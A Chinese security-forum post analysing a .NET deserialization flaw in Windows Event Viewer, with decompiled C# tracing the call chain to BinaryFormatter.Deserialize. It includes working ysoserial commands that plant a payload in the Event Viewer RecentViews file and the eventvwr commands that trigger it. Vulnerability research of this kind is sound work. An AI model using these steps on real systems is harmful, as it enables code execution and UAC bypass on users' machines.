安全矩阵

 找回密码
 立即注册
搜索
查看: 2452|回复: 0

干货 | 最新Windows事件查看器.NET反序列化漏洞分析

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2022-4-30 01:05:38 | 显示全部楼层 |阅读模式
干货 | 最新Windows事件查看器.NET反序列化漏洞分析



0x01 漏洞背景
[backcolor=rgba(255, 255, 255, 0.9)]4月26日@Orange Tsai 在Twitter上发表一个有关Windows事件查看器的反序列化漏洞,可以用来绕过Windows Defender或者ByPass UAC等其它攻击场景,Orange视频里也给出了攻击载荷 DataSet
[backcolor=rgba(255, 255, 255, 0.9)]

  1. ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews
复制代码



0x02 漏洞复现
[backcolor=rgba(255, 255, 255, 0.9)]@Orange Tsai 给出的ysoserial DataSet载荷因为笔者复现未成功,所以替换用TypeConfuseDelegate作为攻击载荷,%LOCALAPPDATA% 等同于 C:\Users\用户名\AppData\Local 目录,Eventv~1 代表目录名前6个字符 Eventv开头的第1个目录,其实可指定为本地的 Event Viewer文件夹,文件名一定得是固定的RecentViews,至于为什么可以看后续的原理分析,ysoserial 生成攻击载荷命令如下,有个小小的建议:可以先打开一次事件查看器,便于操作系统创建EventViewer目录,否则执行ysoserial命令会抛出 "系统找不到路径"错误
  1. ysoserial.exe -o raw -f BinaryFormatter -g TypeConfuseDelegate -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews
复制代码

[backcolor=rgba(255, 255, 255, 0.9)]打开Windows事件查看器或者输入如下所示的命令行均可触发漏洞

  1. cmd/c eventvwr.msc
  2. cmd/c eventvwr.exe
复制代码


[backcolor=rgba(255, 255, 255, 0.9)]

0x03 调用链分析
[backcolor=rgba(255, 255, 255, 0.9)]打开事件查看器Windows系统会启动mmc.exe去关联eventvwr.msc,进中mmc.exe右击 ”属性“ -> .NET程序集 如下图所示
[backcolor=rgba(255, 255, 255, 0.9)]

[backcolor=rgba(255, 255, 255, 0.9)]反编译EventViewer.dll,笔者从EventViewer事件查看器核心代码入手,至于它继承的父类FormView及基类View不再跟进,EventViewerHomePage类是主入口,实现基类View里的虚方法OnInitialize,

[backcolor=rgba(255, 255, 255, 0.9)]

[backcolor=rgba(255, 255, 255, 0.9)]接着对EventHomeControl类做了初始化, UpdateUIDelegate(this.UpdateUI) 表示 EventHomeControl 读取数据并加载数据到可视化UI界面

  1. public EventHomeControl()
  2. {
  3.     this.InitializeComponent();
  4.     UIControlProcessing.SetControlSystemFont(this);
  5.     UIControlProcessing.SetControlTitleFont(this.eventViewerLabel, this.Font);
  6.     this.updateUI = new EventHomeControl.UpdateUIDelegate(this.UpdateUI);
  7.     this.enableControl = new EventHomeControl.EnableControlDelegate(this.EnableControl);
  8. }
复制代码

[backcolor=rgba(255, 255, 255, 0.9)]this.UpdateUI方法对可视化操作选项做了多重判断,有更新事件列表、有更新日志摘要、有更新事件列表当前对应的进程信息、还有我们重点关注的case 1 更新最近访问浏览的信息,进入UpdateRecentViewsUI 条件分支

[backcolor=rgba(255, 255, 255, 0.9)]

[backcolor=rgba(255, 255, 255, 0.9)]UpdateRecentViewsUI方法调用了UpdateRecentViewsListViewUI,并且将属性 RecentViewsDataArrayList的值传递给此方法,如下图

[backcolor=rgba(255, 255, 255, 0.9)]

[backcolor=rgba(255, 255, 255, 0.9)]RecentViewsDataArrayList属于EventsNode类的成员,数据来源自LoadDataForRecentView执行后的结果,这里是将EventsNode.recentViewsDataArrayList的值赋给了RecentViewsDataArrayList属性,代码如下

  1. internal ArrayList RecentViewsDataArrayList
  2. {
  3.     get
  4.   {
  5.       this.LoadDataForRecentViews();
  6.       return EventsNode.recentViewsDataArrayList;
  7.   }
  8. }
复制代码

[backcolor=rgba(255, 255, 255, 0.9)]LoadDataForRecentView方法再调用LoadMostRecentViewsDataFromFile,

[backcolor=rgba(255, 255, 255, 0.9)]

[backcolor=rgba(255, 255, 255, 0.9)]读取 EventsNode.recentViewsFile 流后用 Deserialize(fileStream) 去反序列化,再将集合赋给 recentViewsDataArrayList,这样正常情况RecentViewsDataArrayList就获取到了最近浏览的数据。代码如下
  1. private void LoadMostRecentViewsDataFromFile()
  2. {
  3.    try
  4.   {
  5.   if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile))
  6.     {
  7.     FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
  8.     object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
  9.     lock (syncRoot)
  10.     {
  11.     EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);
  12.     }
  13.     fileStream.Close();
  14.   }
  15. }catch (FileNotFoundException){}
  16. }
复制代码

[backcolor=rgba(255, 255, 255, 0.9)]再来细看下EventsNode.recentViewsFile,整个定义在EventsNode类构造方法里分了3步,笔者个人觉得判断逻辑有些罗里吧嗦的
[backcolor=rgba(255, 255, 255, 0.9)]
[backcolor=rgba(255, 255, 255, 0.9)]
第1步
[backcolor=rgba(255, 255, 255, 0.9)]Environment.SpecialFolder.CommonApplicationData 在Windows系统里表示 "C:\Users\用户名\AppData\Roaming",StandardStringValues类自定义多个静态变量,如MicrosoftFolderName代表"Microsoft", LIN_EventViewer 代表 " Event Viewer ";
第2步
[backcolor=rgba(255, 255, 255, 0.9)]用 CommonApplicationData 替代 LocalApplicationData,LocalApplicationData代表 " C:\Users\用户名\AppData\Local ";
第3步
[backcolor=rgba(255, 255, 255, 0.9)]将前两步和“RecentViews”串起来,最终得到 recentViewsFile = ”C:\Users\用户名\AppData\Local\Microsoft\Event Viewer\RecentViews“,所以笔者在上小节复现的时候提到RecentViews文件名是固定的不能改。

[backcolor=rgba(255, 255, 255, 0.9)]

[backcolor=rgba(255, 255, 255, 0.9)]如上图 ysoserial 生成攻击载荷写入到 \Microsoft\Event Viewer\RecentViews,打开事件查看器即可触发漏洞。
0x04 结语
[backcolor=rgba(255, 255, 255, 0.9)]漏洞的主体调用链如下

  1. -> View -> FormView -> EventViewerHomePage -> EventHomeControl -> UpdateUIDelegate(委托)
  2. -> UpdateUI -> UpdateRecentViewsUI -> UpdateRecentViewsListViewUI -> RecentViewsDataArrayList
  3. -> LoadDataForRecentView -> LoadMostRecentViewsDataFromFile -> BinaryFormatter().Deserialize
复制代码

[backcolor=rgba(255, 255, 255, 0.9)]文章还可以在我的博客上在线阅读https://www.cnblogs.com/Ivan1ee,涉及的PDF和Demo已打包发布在星球,欢迎对.NET安全关注和关心的大伙加入我们

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 11:32 , Processed in 0.013787 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表